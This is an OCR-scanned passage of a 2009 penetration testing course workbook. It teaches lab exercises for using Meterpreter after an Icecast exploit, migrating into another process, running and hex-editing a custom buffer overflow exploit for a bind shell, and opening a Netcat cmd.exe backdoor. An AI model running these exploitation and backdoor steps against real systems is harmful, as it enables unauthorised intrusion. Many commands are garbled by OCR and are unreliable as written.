msf> or meterprcter> prompts, hit CTRL-C one time. That should drop you back into the
msf> prompt if Metasploit got hung up in the exploit. Be careful, though. If you have a
msf> or meterpreter > prompt, a CTRL-C could drop you out of Metasploit altogether. In
Step 3A, at the msf> prompt, we ask Metasploit for an inventory of the connections it is
managing for us between compromised systems and our machine. We can do this by asking
for a list (-I) of sessions:

) That is a -i, as in the letter L lower-case. It is not a one. Furthermore, note that Metasploit

) displays the detailed session information from our Windows machine connected back to our
Linux machine.

)
) If your Metasploit command shell is not responsive, hit CTRL-C. Then type in the

"sessions -I" command.
)
) in Step 3B, we tell Metasploit that we want to interact (-i) with session number I (we will

use the session number that Metasploit assigned when the exploit worked successftilly. The
first session number is i):

) msf explo±t(icecast_header) > sessions -i i

) Our prompt now changes from the Metasploit prompt (msi) to the Meterpreter prompt:

) meterpreter

) The Meterpreter is now ready for us to interact with it, accessing the victim machine.
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4) Interact with Meterpreter: 
System Info 

We'll start interacting with the Meterpreter by getting 
information about its running environment 

Meterpreter 
commands 

run here. 

Reverse 
Mete reter 

You type 
here. icecast 

!IF .ieter- 

preter 

Process list 

jServir Pack 2). 

in Step 4, with the Meterpreter running, let's explore the system a little bit. Run the 
following command: 

meterpreter > sysinfo 
This shows us our operating system type of the compromised machine. 

Now, let's determine our user name on the victim box: 

meterpreter > getuid 
We should have the same user name that you used to invoke the Icecast server, since we are 

running from within its memory space. 

Next, let's look at the processes running on the screen: 

meterpreter > ps 

Look carefully for the process named Icccast2.exe. Make a note of its process ID number 
here: 

Process ID for Icecast2.exe 

And, finally, let's look at the Meterpreter commands we have available: 

meterpreter > help 
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ter > ps 

Eile E_it View Terminal Go Rel 

irieterpr ter > sysinfo 
computer: GUEST1 

los k...L.... xr 
lneterpr ter > getuid 
Server usernare: ía 

imeterpr 
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4) Interact with Meterpreter:
File System

Eile Edit View TerrnrnJ

lee terpretE
nie t e rpret

nleterpretk ped
J

ineterprete
ineterpret > is

)

cd c:\

Network Pen Tes tin e lithical Hacki i Ri,hts Reserved

Now, let's explore some commands we have for interacting with the file system. First, we
will navigate to the C:\ directory:

meterpreter > cd c:\
Note that, within the Meterpreter, you can also refer to c:\ as /. So, the commands "cd c:\"
and "cd /" do the same thing.

Next, let's find out where we are in the directory structure (given that we just changed to
C:\, we should be there). The particular command depends on the version of the Meterpreter
you are running. For some Meterpreter versions, the command is pwd. For others, it is
getcwd. Run either of them. One or both should work:

meterpreter > pwd

Now, let's get a directory listing:

meterpreter > is

And, finally, let's change into the temp directory we created for Jcecast and get a directory
listing:

meterpreter > cd c:\icecasttemp
meterpreter > is
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Listing: c:\

Mode Size Type Lest modified Neme

100666/rw-rw-rw- 1024 f11 Wed Dec 31 19:00:00 -0500 1969 md

00777'rwxriexrwx O fil Wed Dec 31 19:00:00 -0500 1969 AUToxEc.AT

helpGo
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4) Interact with Meterpreter: 
More File S stem 

, 

roaW IIJ 
Eile Edit View Terminal Go Help 

rneterprete4 
> edit testfile.txt J 

ineterpreter > 
ineterprete4 

> cat testfile.txt J 

Hello. This is some text. 

Have a nice day! 

neterpreter> download testfile.txt /tmp J 

[*] downloaaing: testfile.txt ->. /tinp 

[*11 downloaded 
: 

testfile.txt -> /tmp/testfìle.txt 

neterpreter > 

1 

Nct\ork Pen Testing & I hhicai I lacking t 2( )09, All Rights Reser cd 

Now, let's try editing a file and then downloading it. Use the following commands to create 
a new file called testfile.txt: 

meterpreter > edit testfile.txt 

Place some data in this file by hitting the "i" key to go into Insert mode. Then, type some 
text... anything you'd like. 

To save your file, hit the "Ese" key, followed by the ":" key, and type wq, and then hit the 
"Enter" key. That will Write and Quit. As we discussed earlier, the Meterpreter editor 

implements a subset of command functionality of the popular vi text editor. 

Now, look at the contents of your file: 

meterpreter > cat testfile.txt 

Finally, download a copy of your file into the /tmp directory of your Linux machine. 

meterpreter > download testfile.txt /tmp 

Then, outside of the Meterpreter, in a separate window on your Linux system, look at the 
contents of this file: 

# cat /tmp/testfile.txt 
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4) Interact with Meterpreter:
Process Execution and Interaction

r: \icecastte

hes to anis

guest.i

>hoc,tuirne

)

r: \icecastte4»ipcontlg
J

ipconfig

Windows IP Configuration

Network Pcn Testing & lthica1 1-lacking-- ©20U9, Ail Rights Reserved

Now, let's see how we can use the Meterpreter to create processes on a compromised
machine and interact with them. We can use the "execute" command to run a program.
Let's run a cmd.exe command shell. We'll invoke it "channelized" with the "-e" option,
which means that the Meterpreter will keep a communications session open with the
executed program so that we can interact with it.

meterpreter > execute -f cmd.exe -c

If the execution of the program is successful, the Meterpreter will tell us its process ID, and
the channel number we can use to interact with the process' standard input and output. We
can perform such interaction using the interact command as follows:

meterpreter > interact [N]

The [N] should be replaced with the channel number you saw in the output of the execute
command.

You can now type whatever commands you'd like inside of the cmd.exe:

C:\> hostname

C:\> ipconfig

C:\> dir

And so on.To exit your shell, simply typeexit, and you should be back to the
meterpreter > prompt.

Note that the cmd.cxe window appeared on Windows GUI while it was running. To make
the program run in a hidden mode, the execute command can be run with a -H option for
"hidden".
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tneterpreter > interact 6
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¡(C) Copyright iS-2001 Microsoft Corp.

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


4) Interact with Meterpreter: 
Pi..o.çess Migration (1) 

SAud Elbois Athacroed Data Eoeccdcnn PnnvenEon 
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C Turn on DEP for ensene ial Wrodows picrato and services 

D Tato ocr CAP Im at proproccco card services encepE tIrona t 
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lcecastZwIn 
El 

Your computers processor does not stAccai hardware-bated 
DEP. Hoocener Windows cao toe DEP software lo help prenert 
scene types of otlacks, 

Cancel 

Network Pen I esung & I 

OType the name uf a program, folder, document or 
Internet resource, and Windows cvii) open E for you. 
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We will now migrate the Meterpreter DLL on the exploited machine from one process to another. 
We'll jump from the Icecast2.exe process into a notepad.exe process on our Windows machine. 

But, first we'll have to disable DEP for Notepad, because we will be injecting code into some data 
sections of that program and forcing it to run. Do this by going to 

Control Panel- System- Advanced-)Performanee- Settings-*Data Execution Prevention. 

Add c:\windows\system32\notepad.exe to the list. You should not need to reboot this time, because 

we already altered the radio button for DEP earlier and rebooted then. We can add additional items 

to the list without rebooting. 

Then, run notepad. On your Windows machine, go to Start->Run... and type notepad.exe. That's 
the process we'll change into. 
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4) Interact with Meterpreter:
Process Migration (2)

2956 SnagIt32.exe

f2688 notepddex)?

meterprete migrate 268S
[] Migrati 2JI3.
[] Migrat stu11y.
:uleterprete getpid J
Current pid: 2688
!meterpreter >

Network Pen lesting & Ethical IlaLking ©2009, All R guts Rcscrved

C :\Prograrn Files\TechSmith\Snagtt 8\SnagIt32.ee

C: \WINDOWS\system32\notepad. exc

Next, back within the Meterpreter, we get our current process ID number:

meterpreter > getpid

Now, get a process list, looking carefully through it for notepad.exe.

meterpreter > PS

Make a note of the process ID number of notepad.exe here:

Then, to jump into that process, we use the migrate command, as follows:

meterpreter > migrate [destination Irocess_ID]

For the[destination_process ID], use the process ID number of notepad.exe.

Migration may take several seconds to work. If it is successful, you will see a message saying so.
When your Mcterpreter prompt comes back, to see if your migration was successful, look at your
new process ID number:

meterpreter > getpid

It should be the number associated with notepad.exe. If so, you just hopped between processes.
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4) Exiting Meterpreter and 
Metasploit 

s. 
EHe Edit View Termina! Go Help 

!neterpretcr(> exit 

[*} Meterpreter session i c»'1 
Inef expThit(icecastJieader)( > exit 

[roott4Jinux frainework-3.O 

You may want to: 
Restore DEP settings to original value 

Restart security tools 

I 

To finish the exercise, you should cleanly exit the Metcrpreter by typing: 

meterpreter > exit 

Then, to exit Mctasploit, type: 

msf exploit(icecast_header) > exit 

You may want to restore your DEP settings to their original configuration and reactivate 

your security software. 
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Finally, Stop and Unìnstall
Iceca st

Kill notepad

Stop Icecast server

Stop Icecast program

Uninstall Icecast
- Simply run c:\icecasttemp\unins000.exe

Click on Yes when prompted to uninstall
Icecast and all of its components

r74 ir1MInr1

Icec35t2 Wia32 as succe5sFuIIy removed rcrr, your computer.

ights Rcsrved g

To finalize the exercise, kil! Notepad on Windows. Then, let's stop and uninstall Icecast. It
is unsafe to leave vulnerabic software around even if it is not running.

First, stop the Icecast server by clicking on the "Stop Server" button in the Icecast GUI on
your Windows machine. Then, in the Icecast GUI, go to File-*Exit. Icecast should now be
shut down.

Then, uninstall it by invoking a cmd.exe and running the following command:

C: \> C: \icecasttemp\unins000 .exe

When jirompted, click on Yes to uninstall Icecast and all of its components.

When the process is complete, you will see a message saying that "Icecast2 Win32 was
successfully removed from your computer."

You can then delete the icecasttemp folder and recursively delete its contents (/s) by
running:

C:\> rmdir Is c:\icecasttemp
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Course Roadmap 
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For our next topic, we'll actually do another exercise, continuing our look at 
exploits. But, this time, we'll look at a custom exploit not integrated in the 

Metasploit framework. The concepts underlying this exercise are very important 
for penetration testers and ethical hackers to understand, because we sometimes 

need to rely on one-off exploits that have their own specific syntax and usage, 
independent of Metasploit or other exploitation frameworks. 
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While Metasploit includes an impressive arsenal of exploits and payloads, it's important to
remember that not all exploits are released as Metasploit modules. Over the years, security
researchers and attackers have released thousands of different exploit snippets for a huge
variety of vulnerabilities, and they continue to do so on a regular basis. These exploits are
often one-off packages that formulate the exploit code with a tightly integrated payload that
they shoot at a target system, completely separate from an overall framework. Their usage
instructions vary widely, with different exploits configured in a huge variety of fashions.
Most of these one-off exploits have an embedded payload that makes the target vulnerable
program create a shell listening on a given TCP or UDP port. The attacker then has to
manually connect to that port using a Netcat client to get remote command shell access.

Although the usage of these one-off exploits does vary from exploit to exploit, we can get a
feel for the way many of them work by exploring an example. This example is based on a
vulnerable program called format-flaw, created by Ed Skoudis, which runs on Windows as
format-flaw.exe. Security researcher Atlas created an exploit for this code which we've
named format-sploit. This code was further tweaked and refined to make a more reliable
exploit that works on Windows XP, 2003, and Vista by security researcher Matt Carpenter.
We'll be running Carpenter's handiwork (format-sploit.exe) to exploit Skoudis' code
(format-flaw.exe).
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Non-Metasploit Exploits

Not all exploits are released as Metasploit modules
- Many are hand-crafted from scratch, with hard-coded payloads
- Usage instructions vary significantly

Still, we need to be familiar with running non-Metasploit
expio its
- Often involve shooting an exploit at a target machine, which

creates a shell listener on a TCP or UDP port
- Then, manually connecting to shell listener with Netcat client

We'll cover an example
- Custom vulnerable program, format-flaw.exe, a Windows program

with a buffer overflow vulnerability, by Ed Skoudis
- Format-sploit, exploit for format-flaw written by Atlas
- Exploit tweaked to form format-sploit.exe by Matt Carpenter
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Data from Exploit makes Format-flaw 
Netcat network start to listen on TCP port Listener passed into 

For 

Format- 
flaw 

Exploiting Format-flaw 
Format-flaw takes input on Standard In and passes it to a 

buffer without checking its size 

We will make format-flaw listen on the network, using Netcat 

Then, on our local machine, we'll use the custom exploit 
called format-sploit to attack it 

o 
tFormat_ 

sploit 

NetcatÓ 
Clief 
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Attacker 
Remote 

Shell 

82 

Victim 

Exploit 
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Forniattlaw 
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listener 

Let' s talk first about the vulnerable program, format-flaw.exe. This program takes input on 
Standard In into a fixed-length buffer without checking its size, resulting in a buffer 
overflow condition. An attacker who sends too much data to this program can overwrite 

critical data structures inside the vulnerable process to make it run code on the attacker's 
behalf. We will make this program listen on the network using Netcat. Netcat will listen for 
traffic on a TCP port, and pass whatever it receives to format-flaw.cxe. You can think of 

the combination of the Netcat listener and format-flaw.exe code as a vulnerable network 
service, which we are going to exploit. We'll set up this listening service in Step O of the 

figure on the slide. 

In Step 1, we'll use the format-sploit.exe code to shoot an exploit at the target listening port. 
This exploit will be passed from the Netcat listener to the format-flaw.exe code. In Step 2, 
this injected exploit makes format-flaw.exe start to listen on the network on another TCP 

port whose value is hard-coded into format-sploit.exe. The port number is TCP 47145. In 
Step 3, we invoke a Netcat client to connect to the target system on this port. When traffic 

arrives for this port from the Netcat client, the exploit living inside of format-flaw.exe's 

process creates a cmd.exe shell in Step 4 to pass the traffic. The result? We have remote 
command-shell access on the target machine, created by the format-sploit.exe program' s 

exploitation of format-flaw.exe. 

For efficiency sake, we'll run both the vulnerable code and the exploit on our own local 
Windows machines. However, this same exploit could work remotely, if we had Netcat and 

format-flaw.exe listening on a target system. 
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83

O) Set Up

We're modeling a listening service on the
network, with a zero-day buffer overflow flaw
Copy format-flaw directory to c:\tools
Make format-flaw.exe listen on the network
INDO WS\sy JJ2
cd c:\

c:\tools\ncexe -1 -p 5555 : c:\tools\fornat-flaw\forma
tt-f lai. exe
fihe huffei' is: Hello
1[he value of x is: I (dec) I (hex)
he addiess of x j: 12fd74
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To set up this exercise, in Step O, first copy the format-flaw directory from the course DVD
into your Windows c:\tools folder, as follows:

C: \> xcopy [DVDDr1ve_Letter] : \windows\format-f law C: \tools

Then, change directories into e:\. That will be the current working directory of format-
flaw.exe, which will help us discern that we have successfully exploited it.

C:\> cd c:\

We invoke our vulnerable listening service as follows:

C:\> c:\tools\nc.exe -1 -P I c:\tools\format-flaw\
format-flaw. exe

This command invokes Netcat (nc.exe) from the c:\tools directory, making it listen (-1) on
local TCP port 5555. Whatever Netcat receives on that port is piped into the format-
!law.exe program, running from c:\tools\format-flaw.

Note that we're not using the -e option of Netcat to execute format-flaw.exe. Instead, we're
just piping data from Netcat into format-flaw.exe. We won't get a response, but that's ok.
We're avoiding Netcat's -e option because the manner that it uses to start the resulting
program actually breaks the exploit.

When it starts, format-flaw.exe prints out some status messages about some of its internal
variables on the screen. They aren't really important here, so you can ignore them.
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i & 2) Shoot the Exploit 

In another Window, shoot the exploit at 
your machine on the target port 

T Ü\WINDUWS\system32\cmd.exe - Form 

\>cd c:\touls\fornatflaw ol 
:\tools\formatf law> forrìatsploit.exe localhost 5555 

» Sending Shelicode... (514 hytes) 

xploit Sent (xloc = l2fd6c, newehp = l2fh6c. newret = 12fd8@). Peess 
lose the connection. This will likeig end the shell. 

jDLJ 

4 t\WIM0WS\syotem32\ 

:\> c:\tools'nceoe -1 p 5555 -f 1a14.exe 
he buffeo io: Hello 
he cabe of o io: i (doc) i (hoc) 
he eddoeco of o jo: 12fd74 

he bcffe io: HRAHAHAAAAAAAPAAAAAAAAAAAÛAAAAAAHAAHAA 
.AAAAAAAAAfU-ärIql4q1j-t$ r_ 1i,bî'°!5.' q.-.? 01 J)joi 

effÜ1fl0-J4iSAQ4.I-UJLiZX NIftJandZVc(:.)e 
_ 2 efl"-1-f E c?r0onhErIiL?d_uz,4 _8(:C08ot00fl-iB±Iob_qiçHI 

[nei Iii lI Jt))Ooll JH2lar.I*ein&o(4c]@eit Iz- 

l51ti1Ü_ì*9PÇh5_CtnbJwIIfr 
- 

6 ?LZUc3@ 1)°Et,ji 
e!drjçìVj3«tJInA'U_flI lt_°Y*l°-4t>)lIU?L3y4YE AO6('4 -°@obV-.? 

, -tAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAHAÑAHAAAPAÑAHHAÑAHAAHAHAHAAA lii 
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In Step 1, we'll shoot the exploit at the target. Open another cmd.exe window, and change 
directories to c:\tools\format-flaw: 

C:\> cd c:\tools\format-flaw 

We will run the exploit from this directory. That way, if we get a shell from format-flaw 
with a current working directory of c:\, we'll have a sense the our exploit has worked 

properly, because our vulnerable service is running from c:\. 

Invoking format-sploit.exe is quite straightforward. We run it at the command-line with two 
arguments: the target machine name or IP address and the port on which the target service is 

listening. Thus, we can run it with: 

C:\> format-sploit.exe locaihost 5555 

It will pull together the various aspects of the exploit and prompt us to "Press Enter to send 
Exploit". Do so. 

In your other window (the one running the Netcat listener that invoked format-flaw.exe), 
you'll see a bunch of gibberish displayed on the screen. This gibberish is actually your 

terminal trying to display the raw code of the exploit that it receives. This exploit operates 
in Step 2, making format-flaw.exe listen on the network. Don't close or hit CTRL-C in 

either the format-sploit or format-flaw windows! 

A personal firewall may prompt you, asking if you want to allow format-flaw.exe to listen 
on the network. Allow it to listen, so we can connect to it. 
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Listening Port?

In a third window, check to see if
TCP port 47145 is listening

T C:\WINDDWS\system32

:\>netstat -nao find "4?145"
TCP 0.@.0.0:4?145 0.0.0.0:0

:\>tasldict /fi "pid eq 2648"

:\>

To see if we have something listening on TCP port 47145 (the port that is hard-coded into
the format-sploit.exe code for use in its payload), we can run the netstat command. Open up
another cmd.exe prompt and type:

C:\> netstat -nao find "47145"

If the exploit was successful, the output will show the TCP port listening. The last item in
the output will be the processlD number of the process listening on that port.

Let's use the tasklist command to see the name of the process listening on that port. By
default, tasklist shows all running processes. But, we want to focus only on this one process
whose PID number we got from the output of netstat. We'll invoke tasklist with a filter (/fi)
asking it to show us information only about PID number equal (eq) to the given value we
learned from netstat:

C:\> tasklist /fi "pid eq [processiD]"

You should see that it is, in fact, format-flaw.exe that is now listening on TCP port 47145.
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PID Session Name Sessionil Mcm UsageImage Name

opmatflaw.exe 2648 Console 0 1.680 H
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o 

3 & 4) Connect to the Listener 

Now, connect to the listening port using 
a Netcat client 

WTh4DOWS\system32 crnd exe c \tOoJsflc exe Jothost 
C:\> cd c:\tools\fornatflaw 

IDL 

We've cot shell access to the tare et! 

Look at title 
bar to see 

Netcat client 

Now, let's invoke a Netcat client (Step 3) to connect to the target port. In the command 
shell where you just ran netstat and tasklist, change directories into c:\tools\format-flaw: 

C:\> cd c:\tools\format-flaw 

This is the current working directory for our Netcat client. Now, invoke that Netcat client to 
connect to the target on TCP port 47145: 

C:\> c:\tools\nc.exe locaihost 47145 

You should see a Microsoft notice come up on the screen, as the exploit living inside the 

memory of format-flaw.exe creates a shell to interact with you. 

You can now type commands, such as the cd command, which, by itself, will show you the 
current working directory: 

C:\> cd 

Note that your directory is c:\, the working directory that format-flaw.exe was running out of 
when we invoked it in Step O. Also, look at the title bar of the window running your Netcat 
client. You'll see that it is indeed a Netcat client, connected to the target. The command 

prompt you are seeing in your Netcat client is coming from that target port. 

r 

r 
r 
r 

r 
r 

r 
r 
r 
r 
r 
r 
r 
r 
r 

C 

t 

o 
C:\tools\fornatflaw> c:\tools\nc.exe local}rnst 4?14S 

Slicrosoft Iindows XP LUersion .i.26] 
(C> Copyright 1985-2001 Microsoft Corp. 

cd 
cd 

: \>}iostnane 
hostname 

nyconiputer 
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Did It Crash?
Let's Edit the Exploit

Some Windows patches move the running format-
flaw.exe program's data structures in memory...
.. .causing the exploit to crash the target process
without giving remote shell access
But, we can alter the exploit to hit it appropriately
using a hex editor
Sometimes penetration testers and ethical hackers
need to alter their exploits, tweaking the addresses
they manipulate
Install the HHD Hex Editor from the course DVD in
the Windows directory
- Just double click on Hexedfull.exe
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Some Windows patches will make format-sploit.exe fail, crashing the vulnerable format-
flaw.exe program. These Windows patches move data structures in memory inside of
format-flaw.exe, to a location that format-sploit.exe wasn't written to attack. However, we
can remedy this situation by editing the format-sploit.exe program itself, using a hex editor.

Sometimes professional penetration testers need to alter their exploit code slightly to make it
more effective, possibly by altering pointers in the code that are used to gain execution
control of the target machine.

If format-flaw.exe crashed while you were trying to exploit it in the exercise so far, don't
worry. We'll alter format-sploit.exe to conform with your Windows version, which has
likely been patched to move data structures higher in memory. Even if the exploit worked
successfully for you, you should still open format-sploit.exe in a hex editor to look around.

Install the HHD Hex Editor from the course DVD. It is located in the Windows directory,
and can be easily installed by double clicking on Hexedfull.exe. Follow the default prompts
to install it.
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Look for Altered Address 

Note differences between earlier 
screenshots and your output 

c 
E:\WINOOWS\system32lIrndeee 

C:\) c:\tools\nc.exe 1 p 5555 c:\tools\fornatflaw\fornatflaw.exe 
The buffer j: Hello 
The value of x is: t (JX I (hex) 
The adcIres of x is: 

( 

l2fd?4 j 
Sploit is written for 

this address ij 

c' C:\WINDÙWS\systern32\& : 

:\) c:\tools\nc.o 5555 c:\tools\formatflaw\fornatflaw.exe 
he buffer is: lo 

ris: 13fd741,1 (hex) Patches may move 
it to another addressj 

I I 

The format-flaw.exe program prints out status messages on the screen associated with the 
location in memory of its variables. Earlier slides in this exercise show that location of a 
variable called "x" in the memory of format-flaw.exe. On earlier screenshots, you can see 

that the address of x is 12fd74 for the system used to write these slides. If format-flaw.exc 
crashed on your system when format-sploit.exe was attacking it, you likely had a different 
number for the address of x, perhaps 13fd74 or something completely different. 

Make a note of the address of x on your system when you run format-flaw.exe: 

We are going to edit format-sploit.exe so that it conforms to that address, and then use it to 
exploit format-flaw.exe on your machine. 
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Open format-sploit.exe in Hex
Gota
Start- Prag rams- HHD
Hex Editor-Hex Editor
Go to File-Open, and
select format-sploit.exe
Go to Edit-*Find, and
search for byte fd
Hit F3 to find another
one, until you get to
one that
is fd 12 00 74
That is the
representation of the
original address in the
executable, transposed
because of little endian
and the tools used to
generate the executable
itself

Editor

3k

-Sea,cbe

J
r-

- r-: -
J»

QpSons

¿di o peoi

iJ-j
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Run the HHD Hex Editor by going to Start-*Programs-HHD Hex Editor-Hex Editor.
Once inside the hex editor, open format-sploit.exe from your hard drive (likely located in
c:\tools\format-flaw\format-sploit.exe).

In the hex editor, do a search for a specific byte by going to Edit-*Find. In the Byte search
field, enter fd. We are looking for part of the hard-coded 12fd74 included in format-
sploit.exe.

There are many bytes with the value fd in format-sploit.exe. Hit F3 to search again, until
you find one that has the bytes 12 00 74 after it. The fd 12 00 74 is a representation of the
12fd74 that we are looking for, stored in a transposed format inside the executable.

This transposed format is based on two factors. First, the bytes are reversed due to the little
endian nature of the x86 processor. With little endian formatting, numbers are rearranged in
a manner that the processor uses to handle them. The earlier numbers in a little endian
representation actually have a lower value than the later numbers, unlike most number
representations used by humans. For example, most humans think of the number 1234 as i
one thousand, two hundreds, three tens, and four ones. The first number represents the
higher value for us humans. For x86 processors, the order is reversed, with earlier numbers
representing smaller values. Next, the bytes are further transposed by the tools that were
used to create the format-sploit executable, which reversed the order of some of the bytes in
the resulting executable, resulting in what you see in the screenshot above.
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Change Address to Match For 
Your System 

Change it to match the address format- 
flaw displays on your screen 

1orrnat-pIeit.eoe 

Save the result as format-sploit2exe 
Then, launch it as before 
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Now that we've found the address of x represented in format-sploit.exe, change it by simply 
typing over it. Alter it so that it matches the value displayed on your screen when you run 

format-flaw.exe, typing in something like fd 13 00 74, if your system displays 13fd74 for an 
address of x. Note that you have to re-order the bytes appropriately to represent little endian 
format. 

Once you've made this small change to format-sploit.exe, save the updated executable 
(File-Save As...). Call the new version format-sploit2.exc. Then, relaunch it at a listening 

format-flaw.exe, following steps i-4 from earlier, and see if it successful exploits the target 
program. 
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00003f 20: 41 69 f6 13 00 74 01 00 00 DI] 49 69 00 02 
00003f 30: 00 69 14 00 00 00 73 02 00 00 00 0e 0a 73 lb 
00003f 40 00 00 50 72 65 73 73 20 45 6e 74 65 72 20 74 
00003f 50: 20 73 65 6e 64 20 45 78 70 6c 6f 69 74 73 23 
00003f 60: 00 00 3e 3e 20 53 65 6e 64 69 6e 67 20 53 68 
00003f 70: 6c 6c 63 6f 64 65 2e 2e 2e 20 20 28 25 64 20 
00003f 80 79 74 65 73 29 73 7c 00 00 00 Oa Oa 45 78 70 
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The Lesson?

We've seen how we can shoot a custom
exploit at a target, making it run a remotely
accessible command shell
Then, we connected to that shell using a
Netcat client
With that shell access, we can have fine-
grained control over the target machine.

if we use it wisely

We've got shell access... that's nice... but, it's
not terminal access
- We'll ex.lore the differences next

Network Pen Testing & Et: a) liac 2009, All Rights Reserved g

This exercise has shown us how some of the one-off exploits can be used to get a remote
shell on a system running a vulnerable program. We've seen how to shoot the exploit and
then use a Netcat client to get shell access to the target machine. But, it's important to note
that we have shell access, not terminal access. There's a significant difference between the
two, and we have to use our shell access carefully or we might lose it. The next section of
the course will explore the differences between shell and terminal access and how to
maximize the effectiveness of non-terminal shell access of a target.
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Next, we'll discuss a common dilemma faced by ethical hackers and penetration 

testers: shells versus terminals. A penetration tester or ethical hacker who 
successfully exploits a target machine to get command shell access may be in for a 

surprise when some of his or her commands just don't work. Quite often, the 
problem is that the commands entered by the tester are assuming the attacker has 
terminal access to the machine, and not merely shell access. Let's look at the 

difference, and explore approaches for dealing with this issue. 
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Command Shell vs. Terminal
Access

Many exploits provide shell access on a target system
- Then, in that shell, some pen testers and ethical hackers try to

issue commands designed for terminals

But, command shell access terminal access
- Terminal control sequences in Standard Output can mess up a

shell...

. ..and a shell can mess up commands that rely on these control
sequences

This issue often manifests itself with commands that:
- Clear the screen
- Turn echo on or off
- Formulate columns in output
- Have other strange interactions with Standard Output

Ndw >rk Pcn Testing & Ethical I iacking ( )( All Rights Reser\ rd g

Rather often, a given exploit will provide a tester command shell access on a target machine.
As the command shell runs, the tester starts typing in various commands on the target to
look for information, determine its configuration, and possibly even alter the configuration
to grant further access. But, some commands the tester types may not work properly,
because they rely on terminal control characters for clearing the screen, turning on or off the
echoing of input, displaying colunms, etc. Many of these commands designed to be typed
into terminals outright fail when used in a mere command shell. Others succeed, but only
partially.

Quite simply, shell access does not equal terminal access. Shell access gives the tester the
ability to send commands to a target (as raw Standard Input to a shell) and get responses
back (as raw Standard Output from the shell). That's it. Terminal access, on the other hand,
is usually obtained via telnet, Secure Shell (ssh), or other formal login mechanism.
Terminal access to the target is much more intelligent, adapting output based on the screen-
size and character set of the terminal. Furthermore, commands can direct a terminal to
display colorized output, clear and redraw the screen, and numerous other options that
would confound simple shell access, causing the shell to display garbage at best and drop
the connection at worst.

Let's analyze how this issue manifests itself on both Windows and Linux, and look at
approaches for overcoming the problem.
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Standard Input Issues with 
Shell vs. Terminal 

It's not just control sequences in Standard 
Output that are a problem 

Various useful items in Standard Input could 
cause problems for a terminal-less shell 

CTRL-C is a big one, especially within Netcat 

- Causes Netcat client to drop a connection 

- The shell may be lost, and re-invoking ¡t could 
take valuable time (seconds to hours) 

- Be very careful with CTRL-C! 

Likewise, CTRL-D, CTRL-Z, CTRL-[, and 
CTRL-] are also not handled appropriately 

N et Pen Testir e Fthical i lacking 009, All Rights Rescr 

Not all problems are associated with terminal-oriented Standard Output control characters. 
Standard Input is an issue as well. The CTRL-C key sequence, when used from within a 

Netcat client, will cause Netcat to drop a connection, instead of passing an interrupt 

sequence across to the target shell. Similarly, the CTRL-D, CTRL-Z, CTRL-[, CTRL-], and 

other sequences aren't properly sent. 

Thus, whenever you have mere shell access and not a terminal, especially shell access via 
Netcat, be very careful to not hit a CTRL-C unless you are ready to drop your connection to 

the shell. Countless penetration testers have gotten shell access, started running some 
commands using that shell, and then carelessly hit CTRL-C to stop a given command, which 

caused them to lose their hard-fought shell access. You may think, "Well, they can just get 
shell access again." While this is indeed true, sometimes it could burn significant project 
time to regain that shell, ranging from a few seconds to an hour or more, depending on how 
the original exploit functioned. 
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To help make the differences between raw command shells and terminals more
clear, let's look at a hands-on exercise that compares how different commands
function in the different environments. We'll look at this dilemma on both
Windows and Linux.
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Using Netcat for Shell Access 
to Windows Target 

To illustrate this dilemma, we will use 
Netcat to get shell access to our 

machines 

- Start with Windows running Netcat to 
provide a shell back to Linux 

Attacker commands 
running 

Linux - \ responses 

Netcat listener 

providing shell 

access 

Network T?cn Testing & Ethical E lacking ©2OO), AH Rights Reserved 

To illustrate the difference between command shell and terminal access, we'll use the Netcat 
tool to get shell access between our Windows machine and our Linux virtual machine. 

Netcat, the general purpose TCP and UDP widget, can be used to carry shell access across 
the network on any TCP or UDP port its user selects. 

We'll start by configuring Netcat on Windows to listen on a given port, providing command 
shell access to whomever connects on that port. The result is a simple backdoor. Then, on 
our Linux machine, we'll connect to that port, and start issuing commands, some of which 
will work just fine. Other commands that we'll type are terminal oriented, and will have 

problems. 

Bring up a cmd.exe on your Windows machine to get ready for this exercise. 

As we go through the exercise, remember that if you hit a CTRL-C in your Netcat client, it 
will "punt" the connection, dropping it. So, you'll have to re-connect. 
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The Shell vs. Terminal Dilemma
Illustrated on Windows

icroso in ows Versic
(C) Copyright 1955-2001 Nid

os naine
mycoinputer

se username
USERNAME=skodo

Directory of C:\

4

. ir
Volume in drive C is IIThLPRELOAD
Volume Serial Number is B484-E2BC

cia

> c:\tools\nc.exe L -p 2222 e cmdexe

In Step 1, start a backdoor listener using Nctcat on your Windows machine. We will run Netcat
assuming that it is installed in c:\tools\nc.exe. If it is not there, please unzip it from the course DVD
and place it there. We will invoke Netcat (nc.exe) as a listener (-L) on local port (-p) 2222. Use a
capital L, to make the listener persistent across multiple connections. When someone connects,
Netcat will execute (-e) a command shell (cmd.exe), granting remote command shell access:

C:\> c:\tools\nc.exe L -p 2222 e cmd.exe

Then, in Step 2, on Linux, access that Netcat listener by using a Netcat client. In the following
command, replace [XJ with the last octet of the IP address of your Windows machine:

# nc 1O.1O.76.[XJ 2222

You should see a Windows command prompt appear, granted to you by that Netcat listening
backdoor. But, this is merely shell access, not a terminal.

In Steps 3, 4, and 5, type some commands into that Linux screen that has remote command shell
access on Windows. We'll start by typing simple commands that do not have any terminal-specific
functionality:

C:\> hostnaine

This command shows us the host machine's name.

C:\> set

This command shows us the value of the environment variable called "username". This command is
often a handy indication of who we're currently running as, a rough and imperfect analogue of the
Linux "whoami" command.

C:\> dir

We can see the directory listing now. Note that our commands run with the privileges and in the
initial directory of the Netcat listener on Windows. Try other commands, like ipeonfig and cd.
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edit file .txt 

C: 

Problem-some Terminal 
Commands on Windows 

iii Go 

Enter the password for athìlnistrator: 

[:\,WINOOWS\sy 

I 

C:\>cls 

C: \>edit file. txt 

:\>runas /u:aduiinîetrator csd.exe 

C:'..> c:\tools\nc.exe L p 2222 e cnd.exe 

1 f* 
*" 

V,'- 
- 

a 
\IJ kirib 

With your connection to the backdoor still up, let's try some other commands that are more terminal- 
oriented to see what they do. Try: 

C:\> cis 

This "clear screen" command won't work, as it will not clear the screen, but instead sends a terminal 
control sequence back to our Netcat client, which tries to display the non-printable ASCII characters. 
That's not a big deal; it merely stops you from clearing the screen. 
Next, try this: 

C:\> edit f ile.txt 

That doesn't work either. In fact, look at your Windows screen to see what has happened to the 
cmd.exe in which you invoked the Netcat listener. It now has an editor running in it, which you 

